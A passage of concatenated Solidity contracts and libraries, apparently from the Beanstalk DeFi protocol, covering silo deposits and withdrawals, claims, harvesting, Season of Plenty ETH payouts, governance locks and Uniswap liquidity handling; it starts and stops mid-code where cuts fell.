amount; } function addBeanWithdrawal(address account, uint32 arrivalSeason, uint256 amount) private { s.a[account].bean.withdrawals[arrivalSeason] = s.a[account].bean.withdrawals[arrivalSeason].add(amount); s.bean.withdrawn = s.bean.withdrawn.add(amount); emit BeanWithdraw(msg.sender, arrivalSeason, amount); } } /** * SPDX-License-Identifier: MIT **/ pragma solidity ^0.7.6; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/math/SafeMath.sol"; import "./LibCheck.sol"; import "./LibInternal.sol"; import "./LibMarket.sol"; import "./LibAppStorage.sol"; /** * @author Publius * @title Claim Library handles claiming Bean and LP withdrawals, harvesting plots and claiming Ether. **/ library LibClaim { using SafeMath for uint256; using SafeMath for uint32; event BeanClaim(address indexed account, uint32[] withdrawals, uint256 beans); event LPClaim(address indexed account, uint32[] withdrawals, uint256 lp); event EtherClaim(address indexed account, uint256 ethereum); event Harvest(address indexed account, uint256[] plots, uint256 beans); struct Claim { uint32[] beanWithdrawals; uint32[] lpWithdrawals; uint256[] plots; bool claimEth; bool convertLP; uint256 minBeanAmount; uint256 minEthAmount; } function claim(Claim calldata c, bool allocate) public returns (uint256 beansClaimed) { AppStorage storage s = LibAppStorage.diamondStorage(); if (c.beanWithdrawals.length > 0) beansClaimed = beansClaimed.add(claimBeans(c.beanWithdrawals)); if (c.plots.length > 0) beansClaimed = beansClaimed.add(harvest(c.plots)); if (c.lpWithdrawals.length > 0) { if (c.convertLP) { if (allocate) beansClaimed = beansClaimed.add(removeAllocationAndClaimLP(c.lpWithdrawals, c.minBeanAmount, c.minEthAmount)); else removeAndClaimLP(c.lpWithdrawals, c.minBeanAmount, c.minEthAmount); } else claimLP(c.lpWithdrawals); } if (c.claimEth) claimEth(); if (!allocate) IBean(s.c.bean).transfer(msg.sender, beansClaimed); } // Claim Beans function claimBeans(uint32[] calldata withdrawals) public returns (uint256 beansClaimed) { AppStorage storage s = LibAppStorage.diamondStorage(); for (uint256 i = 0; i < withdrawals.length; i++) { require(withdrawals[i] <= s.season.current, "Claim: Withdrawal not recievable."); beansClaimed = beansClaimed.add(claimBeanWithdrawal(msg.sender, withdrawals[i])); } emit BeanClaim(msg.sender, withdrawals, beansClaimed); } function claimBeanWithdrawal(address account, uint32 _s) private returns (uint256) { AppStorage storage s = LibAppStorage.diamondStorage(); uint256 amount = s.a[account].bean.withdrawals[_s]; require(amount > 0, "Claim: Bean withdrawal is empty."); delete s.a[account].bean.withdrawals[_s]; s.bean.withdrawn = s.bean.withdrawn.sub(amount); return amount; } // Claim LP function claimLP(uint32[] calldata withdrawals) public { AppStorage storage s = LibAppStorage.diamondStorage(); uint256 lpClaimed = _claimLP(withdrawals); IUniswapV2Pair(s.c.pair).transfer(msg.sender, lpClaimed); } function removeAndClaimLP( uint32[] calldata withdrawals, uint256 minBeanAmount, uint256 minEthAmount ) public { uint256 lpClaimd = _claimLP(withdrawals); LibMarket.removeLiquidity(lpClaimd, minBeanAmount, minEthAmount); } function removeAllocationAndClaimLP( uint32[] calldata withdrawals, uint256 minBeanAmount, uint256 minEthAmount ) private returns (uint256 beans) { uint256 lpClaimd = _claimLP(withdrawals); (beans,) = LibMarket.removeLiquidityWithBeanAllocation(lpClaimd, minBeanAmount, minEthAmount); } function _claimLP(uint32[] calldata withdrawals) private returns (uint256) { AppStorage storage s = LibAppStorage.diamondStorage(); uint256 lpClaimd = 0; for(uint256 i = 0; i < withdrawals.length; i++) { require(withdrawals[i] <= s.season.current, "Claim: Withdrawal not recievable."); lpClaimd = lpClaimd.add(claimLPWithdrawal(msg.sender, withdrawals[i])); } emit LPClaim(msg.sender, withdrawals, lpClaimd); return lpClaimd; } function claimLPWithdrawal(address account, uint32 _s) private returns (uint256) { AppStorage storage s = LibAppStorage.diamondStorage(); uint256 amount = s.a[account].lp.withdrawals[_s]; require(amount > 0, "Claim: LP withdrawal is empty."); delete s.a[account].lp.withdrawals[_s]; s.lp.withdrawn = s.lp.withdrawn.sub(amount); return amount; } // Season of Plenty function claimEth() public { LibInternal.updateSilo(msg.sender); uint256 eth = claimPlenty(msg.sender); emit EtherClaim(msg.sender, eth); } function claimPlenty(address account) private returns (uint256) { AppStorage storage s = LibAppStorage.diamondStorage(); if (s.sop.base == 0) return 0; uint256 eth = s.a[account].sop.base.mul(s.sop.weth).div(s.sop.base); s.sop.weth = s.sop.weth.sub(eth); s.sop.base = s.sop.base.sub(s.a[account].sop.base); s.a[account].sop.base = 0; IWETH(s.c.weth).withdraw(eth); (bool success, ) = account.call{value: eth}(""); require(success, "WETH: ETH transfer failed"); return eth; } // Harvest function harvest(uint256[] calldata plots) public returns (uint256 beansHarvested) { AppStorage storage s = LibAppStorage.diamondStorage(); for (uint256 i = 0; i < plots.length; i++) { require(plots[i] < s.f.harvestable, "Claim: Plot not harvestable."); require(s.a[msg.sender].field.plots[plots[i]] > 0, "Claim: Plot not harvestable."); uint256 harvested = harvestPlot(msg.sender, plots[i]); beansHarvested = beansHarvested.add(harvested); } require(s.f.harvestable.sub(s.f.harvested) >= beansHarvested, "Claim: Not enough Harvestable."); s.f.harvested = s.f.harvested.add(beansHarvested); emit Harvest(msg.sender, plots, beansHarvested); } function harvestPlot(address account, uint256 plotId) private returns (uint256) { AppStorage storage s = LibAppStorage.diamondStorage(); uint256 pods = s.a[account].field.plots[plotId]; require(pods > 0, "Claim: Plot is empty."); uint256 harvestablePods = s.f.harvestable.sub(plotId); delete s.a[account].field.plots[plotId]; if (harvestablePods >= pods) return pods; s.a[account].field.plots[plotId.add(harvestablePods)] = pods.sub(harvestablePods); return harvestablePods; } } /** * SPDX-License-Identifier: MIT **/ pragma solidity ^0.7.6; pragma experimental ABIEncoderV2; import "./SiloEntrance.sol"; /** * @author Publius * @title LP Silo **/ contract LPSilo is SiloEntrance { struct WithdrawState { uint256 newLP; uint256 beansAdded; uint256 beansTransferred; uint256 beansRemoved; uint256 stalkRemoved; uint256 i; } using SafeMath for uint256; using SafeMath for uint32; event LPDeposit(address indexed account, uint256 season, uint256 lp, uint256 seeds); event LPRemove(address indexed account, uint32[] crates, uint256[] crateLP, uint256 lp); event LPWithdraw(address indexed account, uint256 season, uint256 lp); /** * Getters **/ function totalDepositedLP() public view returns (uint256) { return s.lp.deposited; } function totalWithdrawnLP() public view returns (uint256) { return s.lp.withdrawn; } function lpDeposit(address account, uint32 id) public view returns (uint256, uint256) { return (s.a[account].lp.deposits[id], s.a[account].lp.depositSeeds[id]); } function lpWithdrawal(address account, uint32 i) public view returns (uint256) { return s.a[account].lp.withdrawals[i]; } /** * Internal **/ function _depositLP(uint256 amount, uint32 _s) internal { updateSilo(msg.sender); uint256 lpb = lpToLPBeans(amount); require(lpb > 0, "Silo: No Beans under LP."); incrementDepositedLP(amount); uint256 seeds = lpb.mul(C.getSeedsPerLPBean()); if (season() == _s) depositSiloAssets(msg.sender, seeds, lpb.mul(10000)); else depositSiloAssets(msg.sender, seeds, lpb.mul(10000).add(season().sub(_s).mul(seeds))); addLPDeposit(msg.sender, _s, amount, lpb.mul(C.getSeedsPerLPBean())); LibCheck.lpBalanceCheck(); } function _withdrawLP(uint32[] calldata crates, uint256[] calldata amounts) internal { updateSilo(msg.sender); require(crates.length == amounts.length, "Silo: Crates, amounts are diff lengths."); ( uint256 lpRemoved, uint256 stalkRemoved, uint256 seedsRemoved ) = removeLPDeposits(crates, amounts); uint32 arrivalSeason = season() + C.getSiloWithdrawSeasons(); addLPWithdrawal(msg.sender, arrivalSeason, lpRemoved); decrementDepositedLP(lpRemoved); withdrawSiloAssets(msg.sender, seedsRemoved, stalkRemoved); updateBalanceOfRainStalk(msg.sender); LibCheck.lpBalanceCheck(); } function incrementDepositedLP(uint256 amount) private { s.lp.deposited = s.lp.deposited.add(amount); } function decrementDepositedLP(uint256 amount) private { s.lp.deposited = s.lp.deposited.sub(amount); } function addLPDeposit(address account, uint32 _s, uint256 amount, uint256 seeds) private { s.a[account].lp.deposits[_s] += amount; s.a[account].lp.depositSeeds[_s] += seeds; emit LPDeposit(msg.sender, _s, amount, seeds); } function removeLPDeposits(uint32[] calldata crates, uint256[] calldata amounts) private returns (uint256 lpRemoved, uint256 stalkRemoved, uint256 seedsRemoved) { for (uint256 i = 0; i < crates.length; i++) { (uint256 crateBeans, uint256 crateSeeds) = removeLPDeposit( msg.sender, crates[i], amounts[i] ); lpRemoved = lpRemoved.add(crateBeans); stalkRemoved = stalkRemoved.add(crateSeeds.mul(C.getStalkPerLPSeed()).add( stalkReward(crateSeeds, season()-crates[i])) ); seedsRemoved = seedsRemoved.add(crateSeeds); } emit LPRemove(msg.sender, crates, amounts, lpRemoved); } function removeLPDeposit(address account, uint32 id, uint256 amount) private returns (uint256, uint256) { require(id <= season(), "Silo: Future crate."); (uint256 crateAmount, uint256 crateBase) = lpDeposit(account, id); require(crateAmount >= amount, "Silo: Crate balance too low."); require(crateAmount > 0, "Silo: Crate empty."); if (amount < crateAmount) { uint256 base = amount.mul(crateBase).div(crateAmount); s.a[account].lp.deposits[id] -= amount; s.a[account].lp.depositSeeds[id] -= base; return (amount, base); } else { delete s.a[account].lp.deposits[id]; delete s.a[account].lp.depositSeeds[id]; return (crateAmount, crateBase); } } function addLPWithdrawal(address account, uint32 arrivalSeason, uint256 amount) private { s.a[account].lp.withdrawals[arrivalSeason] = s.a[account].lp.withdrawals[arrivalSeason].add(amount); s.lp.withdrawn = s.lp.withdrawn.add(amount); emit LPWithdraw(msg.sender, arrivalSeason, amount); } } /** * SPDX-License-Identifier: MIT **/ pragma solidity ^0.7.6; pragma experimental ABIEncoderV2; import "./SiloExit.sol"; import "../../../libraries/LibCheck.sol"; import "../../../libraries/LibInternal.sol"; import "../../../libraries/LibMarket.sol"; /** * @author Publius * @title Silo Entrance **/ contract SiloEntrance is SiloExit { using SafeMath for uint256; event BeanDeposit(address indexed account, uint256 season, uint256 beans); /** * Update **/ function updateSilo(address account) public payable { uint256 farmableStalk; uint32 update = lastUpdate(account); if (update > 0 && update <= s.bip0Start) update = migrateBip0(account); if (s.a[account].s.seeds > 0) farmableStalk = balanceOfGrownStalk(account); if (s.a[account].roots > 0 && update < season()) { farmSops(account, update); farmBeans(account, update); } else if (s.a[account].roots == 0) s.a[account].lastSop = s.r.start; if (farmableStalk > 0) incrementBalanceOfStalk(account, farmableStalk); s.a[account].lastSIs = s.season.sis; s.a[account].lastUpdate = season(); } function migrateBip0(address account) private returns (uint32) { uint32 update = s.bip0Start; s.a[account].lastUpdate = update; s.a[account].roots = balanceOfMigrationRoots(account); delete s.a[account].sop; delete s.a[account].lastSop; delete s.a[account].lastRain; return update; } function farmBeans(address account, uint256 update) private { uint256 unclaimedRoots = balanceOfUnclaimedRoots(account); uint256 beans = balanceOfFarmableBeansFromUnclaimedRoots(unclaimedRoots); if (beans > 0) { s.si.beans = s.si.beans.sub(beans); s.unclaimedRoots = s.unclaimedRoots.sub(unclaimedRoots); } if (update > 0 && update < s.hotFix3Start) { uint256 depBeans = balanceOfLegacyFarmableBeans(account); if (depBeans > 0) { beans = beans.add(depBeans); s.legSI.beans = s.legSI.beans.sub(depBeans); } } if (beans > 0) { uint256 stalk = balanceOfGrownFarmableStalk(account, beans); uint256 seeds = beans.mul(C.getSeedsPerBean()); uint32 _s = uint32(stalk.div(seeds)); if (_s >= season()) _s = season()-1; stalk = seeds.mul(_s); _s = season() - _s; Account.State storage a = s.a[account]; s.si.stalk = s.si.stalk.sub(stalk); a.s.seeds = a.s.seeds.add(seeds); a.s.stalk = a.s.stalk.add(beans.mul(C.getStalkPerBean())).add(stalk); addBeanDeposit(account, _s, beans); } } function farmSops(address account, uint32 update) internal { if (s.sop.last > update || s.sops[s.a[account].lastRain] > 0) { s.a[account].sop.base = balanceOfPlentyBase(account); s.a[account].lastSop = s.sop.last; } if (s.r.raining) { if (s.r.start > update) { s.a[account].lastRain = s.r.start; s.a[account].sop.roots = s.a[account].roots; } if (s.sop.last == s.r.start) s.a[account].sop.basePerRoot = s.sops[s.sop.last]; } else if (s.a[account].lastRain > 0) { s.a[account].lastRain = 0; } } /** * Silo **/ function depositSiloAssets(address account, uint256 seeds, uint256 stalk) internal { incrementBalanceOfStalk(account, stalk); incrementBalanceOfSeeds(account, seeds); } function incrementBalanceOfSeeds(address account, uint256 seeds) internal { s.s.seeds = s.s.seeds.add(seeds); s.a[account].s.seeds = s.a[account].s.seeds.add(seeds); } function incrementBalanceOfStalk(address account, uint256 stalk) internal { uint256 roots; if (s.s.roots == 0) roots = stalk.mul(C.getRootsBase()); else roots = s.s.roots.mul(stalk).div(totalStalk()); s.s.stalk = s.s.stalk.add(stalk); s.a[account].s.stalk = s.a[account].s.stalk.add(stalk); s.s.roots = s.s.roots.add(roots); s.a[account].roots = s.a[account].roots.add(roots); incrementBipRoots(account, roots); } function withdrawSiloAssets(address account, uint256 seeds, uint256 stalk) internal { decrementBalanceOfStalk(account, stalk); decrementBalanceOfSeeds(account, seeds); } function decrementBalanceOfSeeds(address account, uint256 seeds) internal { s.s.seeds = s.s.seeds.sub(seeds); s.a[account].s.seeds = s.a[account].s.seeds.sub(seeds); } function decrementBalanceOfStalk(address account, uint256 stalk) internal { if (stalk == 0) return; uint256 roots = s.a[account].roots.mul(stalk).sub(1).div(s.a[account].s.stalk).add(1); s.s.stalk = s.s.stalk.sub(stalk); s.a[account].s.stalk = s.a[account].s.stalk.sub(stalk); s.s.roots = s.s.roots.sub(roots); s.a[account].roots = s.a[account].roots.sub(roots); } function addBeanDeposit(address account, uint32 _s, uint256 amount) internal { s.a[account].bean.deposits[_s] += amount; emit BeanDeposit(account, _s, amount); } function incrementDepositedBeans(uint256 amount) internal { s.bean.deposited = s.bean.deposited.add(amount); } modifier notLocked(address account) { require(!(locked(account)),"locked"); _; } function updateBalanceOfRainStalk(address account) internal { if (!s.r.raining) return; if (s.a[account].roots < s.a[account].sop.roots) { s.r.roots = s.r.roots.sub(s.a[account].sop.roots.sub(s.a[account].roots)); s.a[account].sop.roots = s.a[account].roots; } } function incrementBipRoots(address account, uint256 roots) internal { if (s.a[account].lockedUntil >= season()) { for (uint256 i = 0; i < s.g.activeBips.length; i++) { uint32 bip = s.g.activeBips[i]; if (s.g.voted[bip][account]) s.g.bips[bip].roots = s.g.bips[bip].roots.add(roots); } } } } /** * SPDX-License-Identifier: MIT **/ pragma solidity ^0.7.6; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol"; import "../../../C.sol"; import "../../../interfaces/IWETH.sol"; import "../../AppStorage.sol"; import "../../../interfaces/IBean.sol"; /** * @author Publius * @title Silo Exit **/ contract SiloExit { using SafeMath for uint256; using SafeMath for uint32; AppStorage internal s; /** * Contracts **/ function weth() public view returns (IWETH) { return IWETH(s.c.weth); } function index() internal view returns (uint8) { return s.index; } function pair() internal view returns (IUniswapV2Pair) { return IUniswapV2Pair(s.c.pair); } function bean() internal view returns (IBean) { return IBean(s.c.bean); } function season() internal view returns (uint32) { return s.season.current; } /** * Silo **/ function totalStalk() public view returns (uint256) { return s.s.stalk; } function totalRoots() public view returns(uint256) { return s.s.roots; } function totalSeeds() public view returns (uint256) { return s.s.seeds; } function totalFarmableBeans() public view returns (uint256) { return s.legSI.beans.add(s.si.beans); } function totalFarmableStalk() public view returns (uint256) { return s.si.stalk; } function balanceOfSeeds(address account) public view returns (uint256) { return s.a[account].s.seeds.add(balanceOfFarmableBeans(account).mul(C.getSeedsPerBean())); } function balanceOfStalk(address account) public view returns (uint256) { uint256 farmableBeans = balanceOfFarmableBeans(account); uint256 farmableStalk = balanceOfFarmableStalkFromBeans(account, farmableBeans); return s.a[account].s.stalk.add(farmableBeans.mul(C.getStalkPerBean())).add(farmableStalk); } function balanceOfRoots(address account) public view returns (uint256) { return s.a[account].roots; } function balanceOfGrownStalk(address account) public view returns (uint256) { return stalkReward(s.a[account].s.seeds, season()-lastUpdate(account)); } function balanceOfFarmableStalk(address account) public view returns (uint256) { uint256 farmableBeans = balanceOfFarmableBeans(account); return balanceOfFarmableStalkFromBeans(account, farmableBeans); } function balanceOfFarmableBeans(address account) public view returns (uint256 beans) { return balanceOfFarmableBeansFromUnclaimedRoots( balanceOfUnclaimedRoots(account) ).add(balanceOfLegacyFarmableBeans(account)); } function balanceOfFarmableBeansFromUnclaimedRoots(uint256 roots) public view returns (uint256 beans) { if (s.s.roots == 0 || s.si.beans == 0) return 0; beans = roots.mul(s.si.beans).div(s.unclaimedRoots); } function balanceOfUnclaimedRoots(address account) public view returns (uint256 roots) { uint256 sis = s.season.sis.sub(s.a[account].lastSIs); return balanceOfRoots(account).mul(sis); } function balanceOfLegacyFarmableBeans(address account) public view returns (uint256) { if (s.s.roots == 0 || s.legSI.beans == 0) return 0; uint256 stalk = s.legSI.stalk.mul(balanceOfRoots(account)).div(s.legSI.roots); if (stalk <= s.a[account].s.stalk) return 0; uint256 beans = stalk.sub(s.a[account].s.stalk).div(C.getStalkPerBean()); if (beans > s.legSI.beans) return s.legSI.beans; return beans; } function balanceOfFarmableSeeds(address account) public view returns (uint256) { return balanceOfFarmableBeans(account).mul(C.getSeedsPerBean()); } function balanceOfFarmableStalkFromBeans(address account, uint256 beans) internal view returns (uint256) { if (beans == 0) return 0; uint256 seeds = beans.mul(C.getSeedsPerBean()); uint256 stalk = balanceOfGrownFarmableStalk(account, beans); uint32 _s = uint32(stalk.div(seeds)); if (_s >= season()) _s = season()-1; return seeds.mul(_s); } function balanceOfGrownFarmableStalk(address account, uint256 beans) internal view returns (uint256) { if (s.s.roots == 0 || s.si.stalk == 0) return 0; uint256 stalk = balanceOfAllFarmableStalk(account); uint256 stalkFromBeans = beans.mul(C.getStalkPerBean()); if (stalk <= stalkFromBeans) return 0; stalk = stalk.sub(stalkFromBeans); if (stalk > s.si.stalk) return s.si.stalk; return stalk; } function balanceOfAllFarmableStalk(address account) public view returns (uint256) { uint256 stalk = totalStalk().mul(balanceOfRoots(account)).div(s.s.roots); if (stalk <= s.a[account].s.stalk) return 0; return stalk.sub(s.a[account].s.stalk); } function lastUpdate(address account) public view returns (uint32) { return s.a[account].lastUpdate; } function lastSupplyIncreases(address account) public view returns (uint32) { return s.a[account].lastSIs; } function supplyIncreases() external view returns (uint32) { return s.season.sis; } function unclaimedRoots() external view returns (uint256) { return s.unclaimedRoots; } function legacySupplyIncrease() external view returns (Storage.LegacyIncreaseSilo memory) { return s.legSI; } /** * Season Of Plenty **/ function lastSeasonOfPlenty() public view returns (uint32) { return s.sop.last; } function seasonsOfPlenty() public view returns (Storage.SeasonOfPlenty memory) { return s.sop; } function balanceOfEth(address account) public view returns (uint256) { if (s.sop.base == 0) return 0; return balanceOfPlentyBase(account).mul(s.sop.weth).div(s.sop.base); } function balanceOfPlentyBase(address account) public view returns (uint256) { uint256 plenty = s.a[account].sop.base; uint32 endSeason = s.a[account].lastSop; uint256 plentyPerRoot; uint256 rainSeasonBase = s.sops[s.a[account].lastRain]; if (rainSeasonBase > 0) { if (endSeason == s.a[account].lastRain) { plentyPerRoot = rainSeasonBase.sub(s.a[account].sop.basePerRoot); } else { plentyPerRoot = rainSeasonBase.sub(s.sops[endSeason]); endSeason = s.a[account].lastRain; } if (plentyPerRoot > 0) plenty = plenty.add(plentyPerRoot.mul(s.a[account].sop.roots)); } if (s.sop.last > lastUpdate(account)) { plentyPerRoot = s.sops[s.sop.last].sub(s.sops[endSeason]); plenty = plenty.add(plentyPerRoot.mul(balanceOfRoots(account))); } return plenty; } function balanceOfRainRoots(address account) public view returns (uint256) { return s.a[account].sop.roots; } /** * Governance **/ function lockedUntil(address account) public view returns (uint32) { if (locked(account)) { return s.a[account].lockedUntil; } return 0; } function locked(address account) public view returns (bool) { if (s.a[account].lockedUntil >= season()) { for (uint256 i = 0; i < s.g.activeBips.length; i++) { uint32 activeBip = s.g.activeBips[i]; if (s.g.voted[activeBip][account]) { return true; } } } return false; } /** * Shed **/ function reserves() internal view returns (uint256, uint256) { (uint112 reserve0, uint112 reserve1,) = pair().getReserves(); return (index() == 0 ? reserve1 : reserve0,index() == 0 ? reserve0 : reserve1); } function lpToLPBeans(uint256 amount) internal view returns (uint256) { (,uint256 beanReserve) = reserves(); return amount.mul(beanReserve).mul(2).div(pair().totalSupply()); } function stalkReward(uint256 seeds, uint32 seasons) internal pure returns (uint256) { return seeds.mul(seasons); } /** * Migration **/ function balanceOfMigrationRoots(address account) internal view returns (uint256) { return balanceOfMigrationStalk(account).mul(C.getRootsBase()); } function balanceOfMigrationStalk(address account) private view returns (uint256) { return s.a[account].s.stalk.add(stalkReward(s.a[account].s.seeds, s.bip0Start-lastUpdate(account))); } } /* SPDX-License-Identifier: MIT */ pragma solidity ^0.7.6; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol"; import "./LibAppStorage.sol"; import "../interfaces/IBean.sol"; /** * @author Publius * @title Check Library verifies Beanstalk's balances are correct. **/ library LibCheck { using SafeMath for uint256; function beanBalanceCheck() internal view { AppStorage storage s = LibAppStorage.diamondStorage(); require( IBean(s.c.bean).balanceOf(address(this)) >= s.f.harvestable.sub(s.f.harvested).add(s.bean.deposited).add(s.bean.withdrawn), "Check: Bean balance fail." ); } function lpBalanceCheck() internal view { AppStorage storage s = LibAppStorage.diamondStorage(); require( IUniswapV2Pair(s.c.pair).balanceOf(address(this)) >= s.lp.deposited.add(s.lp.withdrawn), "Check: LP balance fail." ); } function balanceCheck() internal view { AppStorage storage s = LibAppStorage.diamondStorage(); require( IBean(s.c.bean).balanceOf(address(this)) >= s.f.harvestable.sub(s.f.harvested).add(s.bean.deposited).add(s.bean.withdrawn), "Check: Bean balance fail." ); require( IUniswapV2Pair(s.c.pair).balanceOf(address(this)) >= s.lp.deposited.add(s.lp.withdrawn), "Check: LP balance fail." ); } } /* SPDX-License-Identifier: MIT */ pragma solidity ^0.7.6; pragma experimental ABIEncoderV2; /** * @author Publius * @title Internal Library handles gas efficient function calls between facets. **/ library LibInternal { bytes32 constant DIAMOND_STORAGE_POSITION = keccak256("diamond.standard.diamond.storage"); struct FacetAddressAndPosition { address facetAddress; uint16 functionSelectorPosition; // position in facetFunctionSelectors.functionSelectors array } struct FacetFunctionSelectors { bytes4[] functionSelectors; uint16 facetAddressPosition; // position of facetAddress in facetAddresses array } struct DiamondStorage { mapping(bytes4 => FacetAddressAndPosition) selectorToFacetAndPosition; mapping(address => FacetFunctionSelectors) facetFunctionSelectors; address[] facetAddresses; mapping(bytes4 => bool) supportedInterfaces; address contractOwner; } function diamondStorage() internal pure returns (DiamondStorage storage ds) { bytes32 position = DIAMOND_STORAGE_POSITION; assembly { ds.slot := position } } struct Claim { uint32[] beanWithdrawals; uint32[] lpWithdrawals; uint256[] plots; bool claimEth; bool convertLP; uint256 minBeanAmount; uint256 minEthAmount; } function updateSilo(address account) internal { DiamondStorage storage ds = diamondStorage(); bytes4 functionSelector = bytes4(keccak256("updateSilo(address)")); address facet = ds.selectorToFacetAndPosition[functionSelector].facetAddress; bytes memory myFunctionCall = abi.encodeWithSelector(functionSelector, account); (bool success,) = address(facet).delegatecall(myFunctionCall); require(success, "Silo: updateSilo failed."); } function updateBip(uint32 bip) internal { DiamondStorage storage ds = diamondStorage(); bytes4 functionSelector = bytes4(keccak256("updateBip(uint32)")); address facet = ds.selectorToFacetAndPosition[functionSelector].facetAddress; bytes memory myFunctionCall = abi.encodeWithSelector(functionSelector, bip); (bool success,) = address(facet).delegatecall(myFunctionCall); require(success, "Silo: updateBip failed."); } function stalkFor(uint32 bip) internal returns (uint256 stalk) { DiamondStorage storage ds = diamondStorage(); bytes4 functionSelector = bytes4(keccak256("stalkFor(uint32)")); address facet = ds.selectorToFacetAndPosition[functionSelector].facetAddress; bytes memory myFunctionCall = abi.encodeWithSelector(functionSelector, bip); (bool success, bytes memory data) = address(facet).delegatecall(myFunctionCall); require(success, "Governance: stalkFor failed."); assembly { stalk := mload(add(data, add(0x20, 0))) } } } /* SPDX-License-Identifier: MIT */ pragma solidity ^0.7.6; pragma experimental ABIEncoderV2; import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol"; import "../interfaces/IBean.sol"; import "../interfaces/IWETH.sol"; /** * @author Publius * @title Market Library handles swapping, addinga and removing LP on Uniswap for Beanstalk. **/ library LibMarket { event BeanAllocation(address indexed account, uint256 beans); struct DiamondStorage { address bean; address weth; address router; } struct AddLiquidity { uint256 beanAmount; uint256 minBeanAmount; uint256 minEthAmount; } using SafeMath for uint256; bytes32 private constant MARKET_STORAGE_POSITION = keccak256("diamond.standard.market.storage"); function diamondStorage() internal pure returns (DiamondStorage storage ds) { bytes32 position = MARKET_STORAGE_POSITION; assembly { ds.slot := position } } function initMarket(address bean, address weth, address router) internal { DiamondStorage storage ds = diamondStorage(); ds.bean = bean; ds.weth = weth; ds.router = router; } /** * Swap **/ function buy(uint256 buyBeanAmount) internal returns (uint256 amount) { (uint256 ethAmount, uint256 beanAmount) = _buy(buyBeanAmount, msg.value, msg.sender); (bool success,) = msg.sender.call{ value: msg.value.sub(ethAmount) }(""); require(success, "Market: Refund failed."); return beanAmount; } function buyAndDeposit(uint256 buyBeanAmount) internal returns (uint256 amount) { (uint256 ethAmount, uint256 beanAmount) = _buy(buyBeanAmount, msg.value, address(this)); (bool success,) = msg.sender.call{ value: msg.value.sub(ethAmount) }(""); require(success, "Market: Refund failed."); return beanAmount; } function sellToWETH(uint256 sellBeanAmount, uint256 minBuyEthAmount) internal returns (uint256 amount) { (,uint256 outAmount) = _sell(sellBeanAmount, minBuyEthAmount, address(this)); return outAmount; } /** * Liquidity **/ function addLiquidity(AddLiquidity calldata al) internal returns (uint256, uint256) { (uint256 beansDeposited, uint256 ethDeposited, uint256 liquidity) = _addLiquidity( msg.value, al.beanAmount, al.minEthAmount, al.minBeanAmount ); (bool success,) = msg.sender.call{ value: msg.value.sub(ethDeposited) }(""); require(success, "Market: Refund failed."); return (beansDeposited, liquidity); } function removeLiquidity(uint256 liqudity, uint256 minBeanAmount,uint256 minEthAmount) internal returns (uint256 beanAmount, uint256 ethAmount) { DiamondStorage storage ds = diamondStorage(); return IUniswapV2Router02(ds.router).removeLiquidityETH( ds.bean, liqudity, minBeanAmount, minEthAmount, msg.sender, block.timestamp.add(1) ); } function removeLiquidityWithBeanAllocation(uint256 liqudity, uint256 minBeanAmount,uint256 minEthAmount) internal returns (uint256 beanAmount, uint256 ethAmount) { DiamondStorage storage ds = diamondStorage(); (beanAmount, ethAmount) = IUniswapV2Router02(ds.router).removeLiquidity( ds.bean, ds.weth, liqudity, minBeanAmount, minEthAmount, address(this), block.timestamp.add(1) ); IWETH(ds.weth).withdraw(ethAmount); (bool success, ) = msg.sender.call{value: ethAmount}(""); require(success, "WETH: ETH transfer failed"); } function addAndDepositLiquidity(uint256 allocatedBeans, AddLiquidity calldata al) internal returns (uint256) { DiamondStorage storage ds = diamondStorage(); transferAllocatedBeans(allocatedBeans, al.beanAmount); (uint256 beans, uint256 liquidity) = addLiquidity(al); if (al.beanAmount > beans) IBean(ds.bean).transfer(msg.sender, al.beanAmount.sub(beans)); return liquidity; } function swapAndAddLiquidity( uint256 buyBeanAmount, uint256 buyEthAmount, uint256 allocatedBeans, LibMarket.AddLiquidity calldata al ) internal returns (uint256) { uint256 boughtLP; if (buyBeanAmount > 0) boughtLP = LibMarket.buyBeansAndAddLiquidity(buyBeanAmount, allocatedBeans, al); else if (buyEthAmount > 0) boughtLP = LibMarket.buyEthAndAddLiquidity(buyEthAmount, allocatedBeans, al); else boughtLP = LibMarket.addAndDepositLiquidity(allocatedBeans, al); return boughtLP; } function buyBeansAndAddLiquidity(uint256 buyBeanAmount, uint256 allocatedBeans, AddLiquidity calldata al) internal returns (uint256) { DiamondStorage storage ds = diamondStorage(); IWETH(ds.weth).deposit{value: msg.value}(); address[] memory path = new address[](2); path[0] = ds.weth; path[1] = ds.bean; uint256[] memory amounts = IUniswapV2Router02(ds.router).getAmountsIn(buyBeanAmount, path); (uint256 ethSold, uint256 beans) = _buyWithWETH(buyBeanAmount, amounts[0], address(this)); if (al.beanAmount > buyBeanAmount) { transferAllocatedBeans(allocatedBeans, al.beanAmount.sub(buyBeanAmount)); beans = beans.add(al.beanAmount.sub(buyBeanAmount)); } else if (allocatedBeans > 0) { IBean(ds.bean).transfer(msg.sender, allocatedBeans); } uint256 liquidity; uint256 ethAdded; (beans, ethAdded, liquidity) = _addLiquidityWETH( msg.value.sub(ethSold), beans, al.minEthAmount, al.minBeanAmount ); if (al.beanAmount > beans) IBean(ds.bean).transfer(msg.sender, al.beanAmount.sub(beans)); if (msg.value > ethAdded.add(ethSold)) { uint256 returnETH = msg.value.sub(ethAdded).sub(ethSold); IWETH(ds.weth).withdraw(returnETH); (bool success,) = msg.sender.call{ value: returnETH }(""); require(success, "Market: Refund failed."); } return liquidity; } function buyEthAndAddLiquidity(uint256 buyWethAmount, uint256 allocatedBeans, AddLiquidity calldata al) internal returns (uint256) { DiamondStorage storage ds = diamondStorage(); uint256 sellBeans = _amountIn(buyWethAmount); transferAllocatedBeans(allocatedBeans, al.beanAmount.add(sellBeans)); (uint256 beansSold, uint256 wethBought) = _sell(sellBeans, buyWethAmount, address(this)); if (msg.value > 0) IWETH(ds.weth).deposit{value: msg.value}(); (uint256 beans, uint256 ethAdded, uint256 liquidity) = _addLiquidityWETH( msg.value.add(wethBought), al.beanAmount, al.minEthAmount, al.minBeanAmount ); if (al.beanAmount.add(sellBeans) > beans.add(beansSold)) IBean(ds.bean).transfer( msg.sender, 